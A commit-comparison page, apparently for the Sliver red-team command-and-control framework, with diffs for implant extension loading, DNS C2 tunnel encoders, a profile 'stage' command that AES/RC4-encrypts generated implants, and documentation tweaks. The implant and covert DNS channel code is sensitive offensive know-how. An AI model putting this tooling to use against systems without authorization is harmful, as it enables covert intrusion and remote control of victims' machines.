Compare commits

...
Author SHA1 Message Date
moloch-- 16b54c8f5b Re-enable dns cmd 2024-05-05 11:34:35 -07:00
moloch-- 8317678143 always convert b32 to lower case 2024-05-05 10:50:19 -07:00
moloch-- d3a6e82214 fix unused var 2024-05-03 21:57:06 -07:00
moloch-- 4f899c97f0 remove unused params 2024-05-03 21:41:54 -07:00
moloch-- 1a388c6e1e Refactor dns encoder selection 2024-05-03 21:35:03 -07:00
Joe 335797e661 Merge pull request #1667 from BishopFox/docs/community-guides
Docs/community guides
2024-05-03 21:13:39 -05:00
moloch-- d767bd019c Add youtube embed component 2024-05-03 19:13:02 -07:00
moloch-- 590f9c3f96 Add youtube embed component 2024-05-03 18:59:42 -07:00
Joe cff899aa49 Merge pull request #1646 from testwill/close_resource
fix: close resource
2024-05-03 12:17:46 -05:00
Joe ca2dc9d267 Merge pull request #1665 from BishopFox/c2profile_update_bugfix
C2profile update bugfix
2024-05-03 12:17:19 -05:00
Ronan Kervella afdd77c642 Merge branch 'master' into close_resource 2024-05-03 09:21:54 -07:00
Ronan Kervella 8a5970c3da Merge branch 'master' into c2profile_update_bugfix 2024-05-03 09:21:40 -07:00
Ronan Kervella 2eb2ac8121 Merge pull request #1659 from C-Sto/bugfix-extensions
fix extension registration, run, and load flows
2024-05-03 09:21:29 -07:00
Ronan Kervella daf7d404b1 Merge branch 'master' into c2profile_update_bugfix 2024-05-03 09:21:23 -07:00
Ronan Kervella 3b308920f4 Merge branch 'master' into close_resource 2024-05-03 08:34:23 -07:00
Ronan Kervella c73b183f74 Merge branch 'master' into bugfix-extensions 2024-05-03 08:32:44 -07:00
Ronan Kervella 7564312f5e Merge pull request #1666 from BishopFox/v1.6.0/fix-alias-hostproc
Fix Default Linux Host Process for Aliases
2024-05-03 08:32:22 -07:00
Raf 6134b78afb Fix default linux host process for aliases 2024-05-03 08:24:32 -04:00
Ronan Kervella 3db9946608 Merge branch 'master' into bugfix-extensions 2024-05-02 14:11:02 -07:00
Joe ef09058498 Merge pull request #1664 from BishopFox/v1.6.0/ls-rootdir
Adding root directory entry to `ls` command
2024-05-02 16:06:46 -05:00
Tim Makram Ghatas 331faeb8ef fix commandline paramameters for profile staging 2024-05-02 20:30:33 +02:00
Tim Makram Ghatas 4ae195e3eb fix c2 profile update issue with headers, cookies and segments 2024-05-02 19:09:46 +02:00
Ronan Kervella f8f8ba5864 Merge branch 'master' into bugfix-extensions 2024-05-02 09:59:25 -07:00
Raf 216e3b9759 Adds an entry in the directory listing returned by ls for the root directory ('.'). 2024-05-02 12:12:32 -04:00
Joe f1bc5074f9 Merge pull request #1663 from BishopFox/docs/compile-from-source
Add to index
2024-05-01 21:40:10 -05:00
Joe 1b5d3436eb Merge pull request #1662 from BishopFox/docs/compile-from-source
Improve compile from source docs
2024-05-01 21:23:20 -05:00
Joe 9397fcb4ae Merge pull request #1661 from BishopFox/fix_stage_encoder
fix merge error for stage encoders
2024-05-01 20:11:35 -05:00
Joe 04c6c3f800 Merge pull request #1658 from C-Sto/bugfix-extensionnoargs
fix: handle noargs case
2024-05-01 20:08:17 -05:00
C-Sto 7842a6c4c6 add init back in, handle nils/zero values more elegantly 2024-05-02 08:49:21 +08:00
Tim Makram Ghatas 6c815a4432 fix merge error for stage encoders 2024-05-02 02:06:54 +02:00
C-Sto 81358e31bb fix extension registration, run, and load flows 2024-05-01 12:31:19 +08:00
C-Sto 7bea772dbd fix: handle noargs case 2024-05-01 12:15:33 +08:00
guangwu 7fe0b295f5 fix: close resource
Signed-off-by: guangwu <[email protected]>
2024-04-25 20:54:30 +08:00
21 changed files with 483 additions and 147 deletions

No files matched your search

+1 -1
View File
@@ -57,7 +57,7 @@ var (
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"linux": linuxDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
+101 -33
View File
@@ -99,6 +99,7 @@ type ExtCommand struct {
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
Manifest *ExtensionManifest
}
@@ -371,38 +372,50 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
}
extensionList = extList.Names
}
depLoaded := false
//extensionList contains all *implant* loaded extensions. Is a sha256 sum of the relevant file.
//get the file hash to compare against implant extensions later
toberunfilepath, err := ext.getFileForTarget(goos, goarch)
if err != nil {
return err
}
//we need to check the dependent if it's a bof
if ext.DependsOn != "" {
//verify extension is in loaded list
if extension, found := loadedExtensions[ext.DependsOn]; found {
toberunfilepath, err = extension.getFileForTarget(goos, goarch)
if err != nil {
return err
}
} else {
// handle error
return fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
}
}
//todo, maybe cache these values somewhere
toberunfiledata, err := os.ReadFile(toberunfilepath)
if err != nil {
return err
}
if len(toberunfiledata) == 0 {
//read an empty file, bail out
return errors.New("read empty extension file content")
}
bd := sha256.Sum256(toberunfiledata)
toberunhash := hex.EncodeToString(bd[:])
for _, extName := range extensionList {
if !depLoaded {
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
depLoaded = true
}
}
//check if the file suffixes are the same (should only be relevant to the same extension package), and don't load the file if it's already there
extN := loadedExtensions[cmd.Name()]
if extN != nil {
//confirm we haven't already loaded the file
for _, extf := range extN.Files {
if strings.HasSuffix(binPath, extf.Path) {
//file already exists, no need to load it
return nil
}
}
}
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
//check if extension we are trying to run (ext.CommandName or ext.DependsOn, for bofs) is already loaded
if extName == toberunhash {
//exists on the other side, exit early
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
return errLoad
}
}
return nil
// BOFs are not loaded by the DLL loader, but we need to load the loader (more load more good)
if ext.DependsOn != "" {
return loadDep(goos, goarch, ext.DependsOn, cmd, con)
}
binData, err := os.ReadFile(binPath)
if err != nil {
@@ -414,17 +427,45 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
return nil
}
func registerExtension(goos string, _ *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
//set extension name to a hash of the data to avoid loading more than one instance
bd := sha256.Sum256(binData)
name := hex.EncodeToString(bd[:])
sess, beac := con.ActiveTarget.GetInteractive()
ctrl := make(chan bool)
//first time run of an extension will require some waiting depending on the size
if sess != nil {
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
con.SpinUntil(msg, ctrl)
}
//don't block if we are in beacon mode
if beac != nil && sess == nil {
go func() {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: name,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Error registering extension: %s\n", err)
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
}
}()
return nil
}
//session mode (hopefully)
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: name,
Data: binData,
OS: goos,
//Init: ext.Init, ?
Name: name,
Data: binData,
OS: goos,
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
if err != nil {
return err
}
@@ -525,6 +566,33 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
}
bd := sha256.Sum256(extdata)
name := hex.EncodeToString(bd[:])
if isBOF {
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
if extension, found := loadedExtensions[ext.DependsOn]; found {
dep, err := extension.getFileForTarget(goos, goarch)
if err != nil {
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
return
}
depdata, err := os.ReadFile(dep)
if err != nil {
con.PrintErrorf("dep read file error: %s\n", err)
return
}
if len(depdata) == 0 {
con.PrintErrorf("read empty file: %s\n", dep)
return
}
bd = sha256.Sum256(depdata)
name = hex.EncodeToString(bd[:])
} else {
// handle error
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
return
}
}
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: name,
Export: entryPoint,
@@ -579,7 +647,7 @@ func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]b
missingRequiredArgs := make([]string, 0)
// If we have an extension that expects a single string, but more than one has been parsed, combine them
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
// The loop below will only read the first element of args because ext.Arguments is 1
args[0] = strings.Join(args, " ")
}
+22
View File
@@ -184,6 +184,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
profilesCmd.AddCommand(profilesNewCmd)
profilesStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Generate implant from a profile and encode or encrypt it",
Args: cobra.ExactArgs(1),
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
ProfilesStageCmd(cmd, con, args)
},
}
flags.Bind("profiles", false, profilesStageCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("name", "n", "", "Implant name")
f.StringP("aes-encrypt-key", "k", "", "AES Encryption Key")
f.StringP("aes-encrypt-iv", "i", "", "AES Encryption IV")
f.StringP("rc4-encrypt-key", "r", "", "RC4 encryption key")
f.BoolP("prepend-size", "p", false, "Prepend stage size")
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
})
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
// Session flags and completions.
coreImplantFlags("session", profilesNewCmd)
compileImplantFlags("session", profilesNewCmd)
+4
View File
@@ -108,6 +108,7 @@ var (
// Profiles
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
consts.ProfilesStr + sep + consts.StageStr: generateProfileStageHelp,
// Reactions
consts.ReactionStr: reactionHelp,
@@ -249,6 +250,9 @@ settings. Generated implants will still have per-binary certificates/obfuscation
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
generateProfileStageHelp = `[[.Bold]]Command:[[.Normal]] stage [name] <options>
[[.Bold]]About:[[.Normal]] Generate and encrypt or encode an implant from a saved profile (see 'profiles stage --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
+1 -1
View File
@@ -169,5 +169,5 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
})
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, httpCmd, httpsCmd, stageCmd}
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
}
+2
View File
@@ -264,11 +264,13 @@ func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) err
if err != nil {
return err
}
defer writer.Close()
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return err
}
defer resp.Body.Close()
bar := pb.Full.Start64(limit)
barReader := bar.NewProxyReader(resp.Body)
+6
View File
@@ -7,6 +7,7 @@ import { useRouter } from "next/router";
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
import AsciinemaPlayer from "./asciinema";
import Youtube from "./youtube";
export type MarkdownProps = {
key?: string;
@@ -131,6 +132,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
);
}
if (lang === "youtube") {
const embedId = (children as string) || "";
return <Youtube embedId={embedId.trim()} />;
}
if (lang === "asciinema") {
const asciiCast: MarkdownAsciiCast = JSON.parse(
children as string
+22
View File
@@ -0,0 +1,22 @@
export type YoutubeProps = {
className?: string;
width?: number;
height?: number;
embedId: string;
};
export default function Youtube(props: YoutubeProps) {
return (
<div className={props.className}>
<iframe
width={`${props.width ? props.width : 640}`}
height={`${props.height ? props.height : 360}`}
src={`https://youtu.be/embed/${props.embedId}`}
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
allowFullScreen
/>
</div>
);
}
+1 -2
View File
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; frame-src https://youtu.be; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
@@ -17,7 +17,6 @@ class MyDocument extends Document {
return (
<Html lang="en">
<Head>
<title>Sliver Docs</title>
<meta httpEquiv="Content-Security-Policy" content={CSP} />
</Head>
<body>
@@ -7,10 +7,10 @@
### Videos
- https://youtu.be/3R6WKUgN0K4?t=456
- https://www.youtube.com/watch?v=QO_1UMaiWHk
- https://www.youtube.com/watch?v=izMMmOaLn9g
- https://www.youtube.com/watch?v=qIbrozlf2wM
- https://www.youtube.com/watch?v=CKfjLnEMfvI
- https://youtu.be/watch?v=QO_1UMaiWHk
- https://youtu.be/watch?v=izMMmOaLn9g
- https://youtu.be/watch?v=qIbrozlf2wM
- https://youtu.be/watch?v=CKfjLnEMfvI
### Blogs
+30 -6
View File
@@ -155,7 +155,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
path, filter := determineDirPathFilter(targetPath)
dir, files, err := getDirList(path)
dir, rootDirEntry, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
@@ -166,6 +166,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
rootDirInfo, err := rootDirEntry.Info()
if err == nil && filter == "" {
// We should not get an error because we created the DirEntry object from the FileInfo object
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: ".", // Cannot use the name from the FileInfo / DirEntry because that is the name of the directory
Size: rootDirInfo.Size(),
ModTime: rootDirInfo.ModTime().Unix(),
Mode: rootDirInfo.Mode().String(),
Uid: getUid(rootDirInfo),
Gid: getGid(rootDirInfo),
IsDir: rootDirInfo.IsDir(),
})
}
var match bool = false
var linkPath string = ""
@@ -226,19 +239,30 @@ func dirListHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func getDirList(target string) (string, []fs.DirEntry, error) {
func getDirList(target string) (string, fs.DirEntry, []fs.DirEntry, error) {
dir, err := filepath.Abs(target)
if err != nil {
// {{if .Config.Debug}}
log.Printf("dir list failed to construct path %s", err)
// {{end}}
return "", nil, err
return "", nil, nil, err
}
if _, err := os.Stat(dir); !os.IsNotExist(err) {
if rootInfo, err := os.Stat(dir); !os.IsNotExist(err) {
/*
We could place the entry for the directory itself
at the beginning of the returned slice of DirEntry
objects, but then it is not clear if that is the
root directory or a directory / file in the root
directory with the same name as the root directory.
Using WalkDir is not great here because you cannot
tell it to not be recursive, so we will be wasting
cycles telling it to skip directories and files
*/
files, err := os.ReadDir(dir)
return dir, files, err
return dir, fs.FileInfoToDirEntry(rootInfo), files, err
}
return dir, []fs.DirEntry{}, errors.New("directory does not exist")
return dir, nil, []fs.DirEntry{}, errors.New("directory does not exist")
}
func rmHandler(data []byte, resp RPCResponse) {
+15 -2
View File
@@ -31,8 +31,8 @@ import (
"time"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -190,7 +190,7 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
pid := os.Getpid()
path := fmt.Sprintf("/proc/%d/fd/", pid)
dir, files, err := getDirList(path)
dir, rootDirEntry, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
@@ -201,6 +201,19 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
rootDirInfo, err := rootDirEntry.Info()
if err == nil {
// We should not get an error because we created the DirEntry object from the FileInfo object
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: ".", // Cannot use the name from the FileInfo / DirEntry because that is the name of the directory
Size: rootDirInfo.Size(),
ModTime: rootDirInfo.ModTime().Unix(),
Mode: rootDirInfo.Mode().String(),
Uid: getUid(rootDirInfo),
Gid: getGid(rootDirInfo),
IsDir: rootDirInfo.IsDir(),
})
}
for _, dirEntry := range files {
//log.Printf("File: %s\n", dirEntry.Name())
@@ -162,6 +162,60 @@ func DNSStartSession(parent string, opts *DNSOptions) (*SliverDNSClient, error)
return client, nil
}
type DNSBase32Encoder struct{}
const alpha = "abcdefghijklmnopqrstuvwxyz"
// Encode - Base32 Encode
func (e DNSBase32Encoder) Encode(data []byte) ([]byte, error) {
encodedData, err := encoders.Base32.Encode(data)
if err != nil {
return nil, err
}
index := insecureRand.Intn(len(alpha))
if index&1 == 1 {
index = index - 1
}
prefix := alpha[index]
return append([]byte{prefix}, encodedData...), nil
}
// Decode - Base32 Decode
func (e DNSBase32Encoder) Decode(data []byte) ([]byte, error) {
if len(data) < 1 {
return nil, errors.New("invalid data")
}
return encoders.Base32.Decode(data[1:])
}
type DNSBase58Encoder struct{}
// Encode - Base58 Encode
func (e DNSBase58Encoder) Encode(data []byte) ([]byte, error) {
encodedData, err := encoders.Base58.Encode(data)
if err != nil {
return nil, err
}
index := insecureRand.Intn(len(alpha))
if index&1 != 1 {
index = index + 1
if len(alpha) <= index {
index = index - 2
}
}
prefix := alpha[index]
return append([]byte{prefix}, encodedData...), nil
}
// Decode - Base58 Decode
func (e DNSBase58Encoder) Decode(data []byte) ([]byte, error) {
if len(data) < 1 {
return nil, errors.New("invalid data")
}
return encoders.Base58.Decode(data[1:])
}
// NewDNSClient - Initialize a new DNS client, generally you should use DNSStartSession
// instead of this function, this is exported mostly for unit testing
func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
@@ -179,9 +233,10 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
closed: true,
WorkersPerResolver: opts.WorkersPerResolver,
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64),
base32: encoders.Base32Encoder{},
base58: encoders.Base58Encoder{},
// parent domain data encoder
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64) - 1,
base32: DNSBase32Encoder{},
base58: DNSBase58Encoder{},
}
}
@@ -210,8 +265,8 @@ type SliverDNSClient struct {
workerPool []*DNSWorker
WorkersPerResolver int
base32 encoders.Base32Encoder
base58 encoders.Base58Encoder
base32 DNSBase32Encoder
base58 DNSBase58Encoder
enableCaseSensitiveEncoder bool
}
@@ -460,8 +515,8 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
log.Printf("[dns] read envelope ...")
// {{end}}
resolver, meta := s.randomResolver()
pollMsg, err := s.pollMsg(meta)
resolver, _ := s.randomResolver()
pollMsg, err := s.pollMsg()
if err != nil {
return nil, err
}
@@ -536,7 +591,7 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
log.Printf("[dns] clear msg domain: %v", domain)
// {{end}}
respData, _, err = resolver.A(domain)
_, _, err = resolver.A(domain)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] clear msg error: %s", err)
@@ -740,13 +795,13 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
stop = len(data) - 1 // make sure the loop is executed at least once
}
// Sometimes adding a byte will result in +2 chars so we -1 the subdata space
// Sometimes adding a byte will result in +2 chars so we -2 the subdata space
encoded = ""
// {{if .Config.Debug}}
//log.Printf("[dns] encoded: %d, subdata space: %d | stop: %d, len: %d",
// len(encoded), (s.subdataSpace - 1), stop, len(data))
// len(encoded), (s.subdataSpace - 2), stop, len(data))
// {{end}}
for len(encoded) < (s.subdataSpace-1) && stop < len(data) {
for len(encoded) < (s.subdataSpace-2) && stop < len(data) {
stop++
// {{if .Config.Debug}}
// log.Printf("[dns] shave data [%d:%d] of %d", start, stop, len(data))
@@ -889,7 +944,7 @@ func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
return domain, nil
}
func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
func (s *SliverDNSClient) pollMsg() (string, error) {
nonceBuf := make([]byte, 8)
rand.Read(nonceBuf)
pollMsg, _ := proto.Marshal(&dnspb.DNSMessage{
@@ -75,28 +75,28 @@ func TestSplitBufferBase58(t *testing.T) {
t.Logf("Testing with client1")
client1 := NewDNSClient(parent1, opts)
testData := randomData(2048)
clientSplitBuffer(t, client1, encoders.Base58{}, testData)
clientSplitBuffer(t, client1, DNSBase58Encoder{}, testData)
t.Logf("Testing with client2")
client2 := NewDNSClient(parent2, opts)
testData2 := randomData(2048)
clientSplitBuffer(t, client2, encoders.Base58{}, testData2)
clientSplitBuffer(t, client2, DNSBase58Encoder{}, testData2)
t.Logf("Testing with client3")
client3 := NewDNSClient(parent3, opts)
testData3 := randomData(2048)
clientSplitBuffer(t, client3, encoders.Base58{}, testData3)
clientSplitBuffer(t, client3, DNSBase58Encoder{}, testData3)
t.Logf("Testing with client max")
clientMax := NewDNSClient(parentMax, opts)
testDataMax := randomData(2048)
clientSplitBuffer(t, clientMax, encoders.Base58{}, testDataMax)
clientSplitBuffer(t, clientMax, DNSBase58Encoder{}, testDataMax)
t.Logf("Testing all clients with randomly sized data")
for _, client := range []*SliverDNSClient{client1, client2, client3} {
for count := 0; count < 10; count++ {
testData := randomDataRandomSize(2 * 1024 * 1024)
clientSplitBuffer(t, client, encoders.Base58{}, testData)
clientSplitBuffer(t, client, DNSBase58Encoder{}, testData)
}
}
}
@@ -106,28 +106,28 @@ func TestSplitBufferBase32(t *testing.T) {
t.Logf("Testing with client1")
client1 := NewDNSClient(parent1, opts)
testData := randomData(2048)
clientSplitBuffer(t, client1, encoders.Base32{}, testData)
clientSplitBuffer(t, client1, DNSBase32Encoder{}, testData)
t.Logf("Testing with client2")
client2 := NewDNSClient(parent2, opts)
testData2 := randomData(2048)
clientSplitBuffer(t, client2, encoders.Base32{}, testData2)
clientSplitBuffer(t, client2, DNSBase32Encoder{}, testData2)
t.Logf("Testing with client3")
client3 := NewDNSClient(parent3, opts)
testData3 := randomData(2048)
clientSplitBuffer(t, client3, encoders.Base32{}, testData3)
clientSplitBuffer(t, client3, DNSBase32Encoder{}, testData3)
t.Logf("Testing with client max")
clientMax := NewDNSClient(parentMax, opts)
testDataMax := randomData(2048)
clientSplitBuffer(t, clientMax, encoders.Base32{}, testDataMax)
clientSplitBuffer(t, clientMax, DNSBase32Encoder{}, testDataMax)
t.Logf("Testing all clients with randomly sized data")
for _, client := range []*SliverDNSClient{client1, client2, client3} {
for count := 0; count < 10; count++ {
testData := randomDataRandomSize(2 * 1024 * 1024)
clientSplitBuffer(t, client, encoders.Base32{}, testData)
clientSplitBuffer(t, client, DNSBase32Encoder{}, testData)
}
}
}
@@ -186,41 +186,41 @@ func TestSubdataSpace(t *testing.T) {
// 1.example.com. (14 chars parent, 240 chars subdata)
// Grand Total: 254 chars
// parent | subdata with '.' | subdata without '.'
// 254 - 15 - [64 - 64 - 64 - 47] = 63 + 63 + 63 + 46 (235)
// parent | subdata with '.' | subdata without '.'
// 254 - 15 - [64 - 64 - 64 - 47] - 1 = 63 + 63 + 63 + 46 (234)
// expected value is thus 235 (max chars without '.'), rounded down if applicable
client1 := NewDNSClient(parent1, opts)
if client1.subdataSpace != 235 {
if client1.subdataSpace != 234 {
t.Fatalf("Unexpected subdata space for parent %s: %d", parent1, client1.subdataSpace)
}
// .something-longer.example.com. (30 chars parent, 224 chars subdata)
// Grand Total: 254 chars
// parent | subdata with '.' | subdata without '.'
// 254 - 30 - [64 - 64 - 64 - 32] = 63 + 63 + 63 + 31 (220)
// parent | subdata with '.' | subdata without '.'
// 254 - 30 - [64 - 64 - 64 - 32] - 1 = 63 + 63 + 63 + 31 (219)
// expected value is thus 235 (max chars without '.'), rounded down if applicable
client2 := NewDNSClient(parent2, opts)
if client2.subdataSpace != 220 {
if client2.subdataSpace != 219 {
t.Fatalf("Unexpected subdata space for parent %s: %d", parent2, client2.subdataSpace)
}
// .something-even-longer.example.computer. (40 chars parent, 214 chars subdata)
// Grand Total: 254 chars
// parent | subdata with '.' | subdata without '.'
// 254 - 40 - [64 - 64 - 64 - 22] = 63 + 63 + 63 + 21 (210)
// parent | subdata with '.' | subdata without '.'
// 254 - 40 - [64 - 64 - 64 - 22] - 1 = 63 + 63 + 63 + 21 (209)
// expected value is thus 235 (max chars without '.'), rounded down if applicable
client3 := NewDNSClient(parent3, opts)
if client3.subdataSpace != 210 {
if client3.subdataSpace != 209 {
t.Fatalf("Unexpected subdata space for parent %s: %d", parent3, client3.subdataSpace)
}
// "maxParent" (154 chars parent, 100 chars subdata)
// Grand Total: 254 chars
// parent | subdata with '.' | subdata without '.'
// 254 - 154 - [64 - 36] = 63 + 35 (98)
// parent | subdata with '.' | subdata without '.'
// 254 - 154 - [64 - 36] - 1 = 63 + 35 (97)
// expected value is thus 98 (max chars without '.'), rounded down if applicable
clientMax := NewDNSClient(parentMax, opts)
if clientMax.subdataSpace != 98 {
if clientMax.subdataSpace != 97 {
t.Fatalf("Unexpected subdata space for parent %s: %d", parentMax, clientMax.subdataSpace)
}
}
+39 -37
View File
@@ -19,12 +19,12 @@ package c2
------------------------------------------------------------------------
We've put a little effort to making the server at least not super easily fingerprintable,
We've put a little effort to making the server at least not super easily finger printable,
though I'm guessing it's also still not super hard to do. The server must receive a valid
TOTP code before we start returning any non-error records. All requests must be formatted
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
16,777,216 can probably be bruteforced but it'll at least be slow.
16,777,216 can probably be brute-forced but it'll at least be slow.
DNS command and control outline:
1. Implant sends TOTP encoded message to DNS server, server checks validity
@@ -45,7 +45,6 @@ import (
"strings"
"sync"
"time"
"unicode"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/dnspb"
@@ -87,7 +86,6 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
messages: &sync.Map{}, // In progress message streams
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: enforceOTP,
}
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
@@ -317,7 +315,6 @@ type SliverDNSServer struct {
messages *sync.Map
TTL uint32
MaxTXTLength int
EnforceOTP bool
}
// Shutdown - Shutdown the DNS server
@@ -387,7 +384,7 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
// TOTP Handler can be called without dns session ID
if msg.Type == dnspb.DNSMessageType_TOTP {
return s.handleHello(domain, msg, req)
return s.handleHello(msg, req)
}
// All other handlers require a valid dns session ID
@@ -402,15 +399,15 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
case dnspb.DNSMessageType_NOP:
return s.handleNOP(domain, msg, checksum, req)
case dnspb.DNSMessageType_INIT:
return s.handleDNSSessionInit(domain, msg, checksum, req)
return s.handleDNSSessionInit(msg, req)
case dnspb.DNSMessageType_POLL:
return s.handlePoll(domain, msg, checksum, req)
return s.handlePoll(msg, req)
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
return s.handleDataFromImplant(domain, msg, checksum, req)
return s.handleDataFromImplant(msg, checksum, req)
case dnspb.DNSMessageType_DATA_TO_IMPLANT:
return s.handleDataToImplant(domain, msg, checksum, req)
return s.handleDataToImplant(msg, req)
case dnspb.DNSMessageType_CLEAR:
return s.handleClear(domain, msg, checksum, req)
return s.handleClear(msg, checksum, req)
}
return nil
}
@@ -420,31 +417,36 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
// of the plaintext data (that would be very bad).
func (s *SliverDNSServer) decodeSubdata(subdomain string) (*dnspb.DNSMessage, uint32, error) {
subdata := strings.Join(strings.Split(subdomain, "."), "")
dnsLog.Debugf("subdata = %s", subdata)
encoders := s.determineLikelyEncoders(subdata)
for _, encoder := range encoders {
data, err := encoder.Decode([]byte(subdata))
if err == nil {
msg := &dnspb.DNSMessage{}
err = proto.Unmarshal(data, msg)
if err == nil {
return msg, crc32.ChecksumIEEE(data), nil
}
}
dnsLog.Debugf("failed to decode subdata with %#v (%s)", encoder, err)
if len(subdata) < 2 {
return nil, 0, ErrInvalidMsg
}
dnsLog.Debugf("subdata = %s", subdata)
encoder := determineEncoder(subdata[0])
data, err := encoder.Decode([]byte(subdata[1:]))
if err == nil {
msg := &dnspb.DNSMessage{}
